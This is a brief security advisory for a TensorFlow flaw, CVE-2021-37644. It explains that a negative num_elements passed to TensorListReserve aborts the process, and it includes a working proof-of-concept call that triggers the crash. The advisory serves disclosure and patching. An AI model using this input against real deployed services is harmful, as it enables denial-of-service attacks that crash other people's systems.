CVE-2021-37644: `std::abort` raised from `TensorListReserve`

August 25, 2021 (updated November 13, 2024)

Providing a negative element to num_elements list argument of tf.raw_ops.TensorListReserve causes the runtime to abort the process due to reallocating a std::vector to have a negative number of elements:

import tensorflow as tf

tf.raw_ops.TensorListReserve(
element_shape = tf.constant([1]),
num_elements=tf.constant([-1]),
element_dtype = tf.int32)
